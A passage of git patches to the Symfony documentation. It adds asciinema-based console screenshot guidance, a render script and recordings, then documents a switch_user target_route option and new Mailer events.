z;K}f?cmop-q3VU3Yg;=Zo#fDtjzJZ)a2XydZ7b0(hp%pp_f@69i~1`;V}E$chpNx&
zs+|b1BtQl$t%hSDN1XJ^%C)SO`C8YKnJ8-Q7H<U$IcmcvGltL}55PDDbyOzGEFp(z
zNq1;hJn?!j8iegSJ+Fv)c|PS1SmVpWL8XZn3K;IDNVw@;0jo}ETqN9)ZhPiwvht^7
ztu5p;R*39a${iM;7BPkr#y?8uYb=a#&Ix?09LT1IGiiL!F=@Kg)O|$)WqL#pl0}g`
zG?Q$Y2Q|c3?q9OumKlI3m|TIq!#Vii(GQfO$IFwRECn<vp+|8kGw{?qHpn-T;o4w+
zrS2p-3&}ZxpS!j`3naW;n4ot#Lk}H&*FQ~$2caz<jfEo$Z4eRRspOKZbCSBh>Th1O
e(7y2XX5d#`fI)Vs!QPO|*;n2vdH^`}{{IEjmDYFw

diff --git a/_images/sources/README.md b/_images/sources/README.md
index 8ca7538bf5d..a07bd5180fe 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -1,8 +1,8 @@
-How to Create Symfony Diagrams
-==============================
+How to Create Symfony Images
+============================
 
-Creating the Diagram
---------------------
+Creating Diagrams
+-----------------
 
 * Use [Dia][1] as the diagramming application;
 * Use [PT Sans Narrow][2] as the only font in all diagrams (if possible, use
@@ -21,8 +21,7 @@ Creating the Diagram
 In case of doubt, check the existing diagrams or ask to the
 [Symfony Documentation Team][3].
 
-Saving and Exporting the Diagram
---------------------------------
+### Saving and Exporting the Diagram
 
 * Save the original diagram in `*.dia` format in `_images/sources/<folder-name>`;
 * Export the diagram to SVG format and save it in `_images/<folder-name>`.
@@ -33,8 +32,7 @@ that transforms text into vector shapes (resulting file is larger in size, but
 it's truly portable because text is displayed the same even if you don't have
 some fonts installed).
 
-Including the Diagram in the Symfony Docs
------------------------------------------
+### Including the Diagram in the Symfony Docs
 
 Use the following snippet to embed the diagram in the docs:
 
@@ -44,21 +42,59 @@ Use the following snippet to embed the diagram in the docs:
     <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"></object>
 ```
 
-Reasoning
----------
+### Reasoning
 
 * Dia was chosen because it's one of the few applications which are free, open
   source and compatible with Linux, macOS and Windows.
 * Font, colors and line widths were chosen to be similar to the diagrams used
   in the best tech books.
 
-Troubleshooting
----------------
+### Troubleshooting
 
 * On some macOS systems, Dia cannot be executed as a regular application and
   you must run the following console command instead:
   `export DISPLAY=:0 && /Applications/Dia.app/Contents/Resources/bin/dia`
 
+Creating Console Screenshots
+----------------------------
+
+* Use [Asciinema][4] to record the console session locally:
+
+  ```
+  $ asciinema rec -c bash recording.cast
+  ```
+* Use `$ ` as the prompt in recordings. E.g. if you're using Bash, add the
+  following lines to your ``.bashrc``:
+
+  ```
+  if [ "$ASCIINEMA_REC" = "1" ]; then
+    PS1="\e[37m$ \e[0m"
+  fi
+  ```
+* Save the generated asciicast in `_images/sources/<folder-name>`.
+
+### Rendering the Recording
+
+Rendering the recording can be a difficult task. The [documentation team][3]
+is always ready to help you with this task (e.g. you can open a PR with
+only the asciicast file).
+
+* Use [agg][5] to generated a GIF file from the recording;
+* Install the [JetBrains Mono][6] font;
+* Use the ``_images/sources/ascii-render.sh`` file to call agg:
+
+  ```
+  AGG_PATH=/path/to/agg ./_images/sources/ascii-render.sh recording.cast --cols 45 --rows 20
+  ```
+
+  This utility configures a predefined theme;
+* Always configure `--cols`` (width) and ``--rows`` (height), try to use as
+  low as possible numbers. Do not exceed 70 columns;
+* Save the generated GIF file in `_images/<folder-name>`.
+
 [1]: http://dia-installer.de/
 [2]: https://fonts.google.com/specimen/PT+Sans+Narrow
 [3]: https://symfony.com/doc/current/contributing/code/core_team.html
+[4]: https://github.com/asciinema/asciinema
+[5]: https://github.com/asciinema/agg
+[6]: https://www.jetbrains.com/lp/mono/
diff --git a/_images/sources/ascii-render.sh b/_images/sources/ascii-render.sh
new file mode 100755
index 00000000000..e72be572390
--- /dev/null
+++ b/_images/sources/ascii-render.sh
@@ -0,0 +1,24 @@
+#!/usr/bin/env sh
+case "$1" in
+    ''|help|-h)
+        echo "ansi-render.sh RECORDING [options]"
+        echo ""
+        echo "  RECORDING: path to the .cast file generated by asciinema"
+        echo "  [options]: optional options to be passed to agg"
+        ;;
+    *)
+        recording=$1
+        extra_options=
+        if [ $# -gt 1 ]; then
+            shift
+            extra_options=$@
+        fi
+
+        # optionally, use this green color:     1f4631
+        ${AGG_PATH:-agg} \
+            --theme 18202a,f9fafb,f9fafb,ff7b72,7ee787,ffa657,79c0ff,d2a8ff,a5d6ff,f9fafb,8b949e,ff7b72,00c300,ffa657,79c0ff,d2a8ff,a5d6ff,f9fafb --line-height 1.6 \
+            --font-family 'JetBrains Mono' \
+            $extra_options \
+            $recording $(echo $recording | sed "s/cast/gif/")
+        ;;
+esac
diff --git a/_images/sources/components/console/completion.cast b/_images/sources/components/console/completion.cast
new file mode 100644
index 00000000000..c268863e9b0
--- /dev/null
+++ b/_images/sources/components/console/completion.cast
@@ -0,0 +1,37 @@
+{"version": 2, "width": 76, "height": 30, "timestamp": 1663253713, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}}
+[0.00798, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"]
+[0.614685, "o", "b"]
+[0.776549, "o", "i"]
+[0.86682, "o", "n"]
+[1.092426, "o", "/"]
+[1.332671, "o", "c"]
+[1.55068, "o", "o"]
+[1.630651, "o", "n"]
+[1.784584, "o", "s"]
+[1.873108, "o", "o"]
+[2.074652, "o", "l"]
+[2.180433, "o", "e"]
+[2.260475, "o", " "]
+[2.696628, "o", "\u0007"]
+[2.947263, "o", "\r\nabout                       debug:event-dispatcher\r\nassets:install              debug:router\r\ncache:clear                 help\r\ncache:pool:clear            lint:container\r\ncache:pool:delete           lint:yaml\r\ncache:pool:list             list\r\ncache:pool:prune            router:match\r\ncache:warmup                secrets:decrypt-to-local\r\ncompletion                  secrets:encrypt-from-local\r\nconfig:dump-reference       secrets:generate-keys\r\ndebug:autowiring            secrets:list\r\ndebug:config                secrets:remove\r\ndebug:container             secrets:set\r\ndebug:dotenv                \r\n\u001b[37m$ \u001b[0mbin/console "]
+[3.614479, "o", "s"]
+[3.802449, "o", "e"]
+[4.205631, "o", "\u0007crets:"]
+[4.520435, "o", "r"]
+[4.598031, "o", "e"]
+[5.026287, "o", "move "]
+[5.47041, "o", "\u0007SOME_"]
+[5.673941, "o", "\u0007"]
+[6.024086, "o", "\r\nSOME_OTHER_SECRET  SOME_SECRET        \r\n\u001b[37m$ \u001b[0mbin/console secrets:remove SOME_"]
+[6.770627, "o", "O"]
+[7.14335, "o", "THER_SECRET "]
+[7.724482, "o", "\r\n\u001b[?2004l\r"]
+[7.776657, "o", "\r\n"]
+[7.779108, "o", "\u001b[30;42m                                                                            \u001b[39;49m\r\n\u001b[30;42m [OK] Secret \"SOME_OTHER_SECRET\" removed from \"config/secrets/dev/\".        \u001b[39;49m\r\n\u001b[30;42m                                                                            \u001b[39;49m\r\n\r\n"]
+[7.782993, "o", "\u001b[?2004h\u001b[37m$ \u001b[0m"]
+[9.214537, "o", "e"]
+[9.522429, "o", "x"]
+[9.690371, "o", "i"]
+[9.85446, "o", "t"]
+[10.292412, "o", "\r\n\u001b[?2004l\r"]
+[10.292526, "o", "exit\r\n"]
diff --git a/_images/sources/components/console/cursor.cast b/_images/sources/components/console/cursor.cast
new file mode 100644
index 00000000000..be2f2f6c351
--- /dev/null
+++ b/_images/sources/components/console/cursor.cast
@@ -0,0 +1,49 @@
+{"version": 2, "width": 191, "height": 30, "timestamp": 1663251833, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}}
+[0.007941, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"]
+[0.566363, "o", "c"]
+[0.643353, "o", "l"]
+[0.762325, "o", "e"]
+[0.952363, "o", "a"]
+[0.995878, "o", "r"]
+[1.107784, "o", "\r\n\u001b[?2004l\r"]
+[1.109766, "o", "\u001b[H\u001b[2J"]
+[1.109946, "o", "\u001b[?2004h\u001b[30m$ \u001b[0m"]
+[1.653461, "o", "p"]
+[1.772323, "o", "h"]
+[1.856444, "o", "p"]
+[1.980339, "o", " "]
+[2.15827, "o", "c"]
+[2.273242, "o", "u"]
+[2.402231, "o", "r"]
+[2.563066, "o", "s"]
+[2.760266, "o", "o"]
+[2.900252, "o", "r"]
+[3.020537, "o", "."]
+[3.316404, "o", "p"]
+[3.403213, "o", "h"]
+[3.483391, "o", "p"]
+[3.820273, "o", "\r\n\u001b[?2004l\r"]
+[3.845697, "o", "\u001b[6;9H#"]
+[4.045942, "o", "\u001b[8;9H#"]
+[4.246327, "o", "\u001b[8;2H#####"]
+[4.446737, "o", "\u001b[2;9H#######"]
+[4.647128, "o", "\u001b[7;7H#"]
+[4.84749, "o", "\u001b[3;9H#"]
+[5.047857, "o", "\u001b[7;9H#"]
+[5.248246, "o", "\u001b[4;9H#"]
+[5.448622, "o", "\u001b[2;2H#####"]
+[5.648999, "o", "\u001b[3;7H#"]
+[5.849378, "o", "\u001b[5;9H#####"]
+[6.049711, "o", "\u001b[3;1H#"]
+[6.250118, "o", "\u001b[7;1H#"]
+[6.45056, "o", "\u001b[5;2H#####"]
+[6.650897, "o", "\u001b[4;1H#"]
+[6.851281, "o", "\u001b[6;7H#"]
+[7.051644, "o", "\u001b[9;1H"]
+[7.058802, "o", "\u001b[?2004h\u001b[30m$ \u001b[0m"]
+[7.657612, "o", "e"]
+[7.846956, "o", "x"]
+[7.949451, "o", "i"]
+[8.0893, "o", "t"]
+[8.201144, "o", "\r\n\u001b[?2004l\r"]
+[8.201227, "o", "exit\r\n"]
diff --git a/_images/sources/components/console/progress.cast b/_images/sources/components/console/progress.cast
new file mode 100644
index 00000000000..9c5244b37e2
--- /dev/null
+++ b/_images/sources/components/console/progress.cast
@@ -0,0 +1,57 @@
+{"version": 2, "width": 191, "height": 17, "timestamp": 1663423221, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}}
+[0.008171, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"]
+[0.385858, "o", "p"]
+[0.577979, "o", "h"]
+[0.768282, "o", "p"]
+[0.96433, "o", " "]
+[1.133645, "o", "p"]
+[1.262693, "o", "r"]
+[1.385832, "o", "o"]
+[1.476876, "o", "g"]
+[1.652322, "o", "r"]
+[1.722357, "o", "e"]
+[1.935395, "o", "s"]
+[2.083915, "o", "s"]
+[2.200109, "o", "."]
+[2.403686, "o", "p"]
+[2.510201, "o", "h"]
+[2.602756, "o", "p"]
+[2.909974, "o", "\r\n\u001b[?2004l\r"]
+[2.935647, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 0/15  \u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m    0%\r\n   < 1 sec                       4.0 MiB"]
+[3.418022, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[3.419196, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 2/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   13%\r\n   < 1 sec                       6.0 MiB"]
+[3.66102, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G"]
+[3.661071, "o", "\u001b[2K"]
+[3.661731, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 3/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   20%\r\n   5 secs                        6.0 MiB"]
+[4.143554, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[4.14385, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 5/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   33%\r\n   3 secs                        6.5 MiB"]
+[4.385367, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[4.38612, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n 6/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   40%\r\n   3 secs                        7.1 MiB"]
+[4.868053, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[4.86852, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n 8/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   53%\r\n   4 secs                        8.1 MiB"]
+[5.110341, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[5.11133, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n 9/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   60%\r\n   3 secs                        8.6 MiB"]
+[5.593851, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G"]
+[5.593924, "o", "\u001b[2K"]
+[5.594818, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n11/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   73%\r\n   4 secs                        9.6 MiB"]
+[5.836301, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[5.836831, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n12/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   80%\r\n   4 secs                       10.1 MiB"]
+[6.31877, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A"]
+[6.318814, "o", "\u001b[1G\u001b[2K"]
+[6.319403, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n14/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m   93%\r\n   3 secs                       11.1 MiB"]
+[6.561359, "o", "\u001b[1G\u001b[2K\u001b[1A"]
+[6.561561, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[6.562504, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n15/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m  100%\r\n   4 secs                       11.6 MiB"]
+[6.563772, "o", "\u001b[1G"]
+[6.563824, "o", "\u001b[2K\u001b[1A"]
+[6.563875, "o", "\u001b[1G\u001b[2K"]
+[6.563926, "o", "\u001b[1A\u001b[1G\u001b[2K"]
+[6.564766, "o", "\u001b[34m Thanks bye!                           \u001b[39m\r\n15/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m  100%\r\n   4 secs                       11.6 MiB"]
+[6.564805, "o", "\r\n\r\n"]
+[6.570516, "o", "\u001b[?2004h"]
+[6.570537, "o", "\u001b[90m$ \u001b[0m"]
+[8.441927, "o", "e"]
+[8.646449, "o", "x"]
+[8.76668, "o", "i"]
+[8.897799, "o", "t"]
+[9.091614, "o", "\r\n\u001b[?2004l\rexit\r\n"]
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index 89609da8419..e824fac89a2 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -7,8 +7,8 @@ Debug Formatter Helper
 The :class:`Symfony\\Component\\Console\\Helper\\DebugFormatterHelper` provides
 functions to output debug information when running an external program, for
 instance a process or HTTP request. For example, if you used it to output
-the results of running ``ls -la`` on a UNIX system, it might output something
-like this:
+the results of running ``figlet symfony``, it might output something like
+this:
 
 .. image:: /_images/components/console/debug_formatter.png
    :align: center

From 76d20c24b21a34fb49e463d7abfc8812143f1a3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 19 Sep 2022 17:53:02 +0200
Subject: [PATCH 3667/7107] Minor tweak

---
 console.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/console.rst b/console.rst
index a766c24c117..76c2d9cfa58 100644
--- a/console.rst
+++ b/console.rst
@@ -109,7 +109,6 @@ want a command to create a user::
     use Symfony\Component\Console\Output\OutputInterface;
 
     // the name of the command is what users type after "php bin/console"
-    // and it replaces the static $defaultName
     #[AsCommand(name: 'app:create-user')]
     class CreateUserCommand extends Command
     {

From 90dc3c8a720a3f2e61a044fe750c50b36b945868 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 21 Jul 2022 09:24:50 +0200
Subject: [PATCH 3668/7107] [Security] Allow configuring a target url when
 switching user

---
 security/impersonating_user.rst | 61 +++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 3219802edb7..b51a96d6fec 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -244,6 +244,67 @@ also adjust the query parameter name via the ``parameter`` setting:
             ;
         };
 
+Redirecting to a Specific Target Route
+--------------------------------------
+
+.. versionadded:: 6.2
+
+    The ``target_route`` configuration option was introduced in Symfony 6.2.
+
+.. note::
+
+    It works only in a stateful firewall.
+
+This feature allows you to control the redirection target route via ``target_route``.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    switch_user: { target_route: app_user_dashboard }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <switch-user target-route="app_user_dashboard"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->targetRoute('app_user_dashboard')
+            ;
+        };
+
 Limiting User Switching
 -----------------------
 

From 5c545bde2803daf619d7a113b39529311e4f9226 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 15 Aug 2022 10:15:09 +0200
Subject: [PATCH 3669/7107] [Mailer] add new events

---
 mailer.rst | 83 +++++++++++++++++++++++++++++++++++++++++++++---------
 1 file changed, 70 insertions(+), 13 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3fb19c3d1ec..d0aded6375f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1410,6 +1410,8 @@ Mailer Events
 MessageEvent
 ~~~~~~~~~~~~
 
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent`
+
 ``MessageEvent`` allows to change the Message and the Envelope before the email
 is sent::
 
@@ -1417,26 +1419,81 @@ is sent::
     use Symfony\Component\Mailer\Event\MessageEvent;
     use Symfony\Component\Mime\Email;
 
-    class MailerSubscriber implements EventSubscriberInterface
+    public function onMessage(MessageEvent $event): void
     {
-        public static function getSubscribedEvents()
-        {
-            return [
-                MessageEvent::class => 'onMessage',
-            ];
+        $message = $event->getMessage();
+        if (!$message instanceof Email) {
+            return;
         }
+        // do something with the message
+    }
 
-        public function onMessage(MessageEvent $event): void
-        {
-            $message = $event->getMessage();
-            if (!$message instanceof Email) {
-                return;
-            }
+Execute this command to find out which listeners are registered for this event and
+their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
+
+SentMessageEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\SentMessageEvent`
+
+``SentMessageEvent`` it allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage` to access the original 
+message (getOriginalMessage()) and some debugging information (getDebug()) such as 
+the HTTP calls made by the HTTP transports, which is useful for debugging errors::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\SentMessageEvent;
+    use Symfony\Component\Mailer\SentMessage;
 
-            // do something with the message
+    public function onMessage(SentMessageEvent $event): void
+    {
+        $message = $event->getMessage();
+        if (!$message instanceof SentMessage) {
+            return;
         }
+
+        // do something with the message
+    }
+
+Execute this command to find out which listeners are registered for this event and
+their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\SentMessageEvent"
+
+FailedMessageEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent`
+
+``FailedMessageEvent`` it allows acting on the the initial message in case of a failure::
+
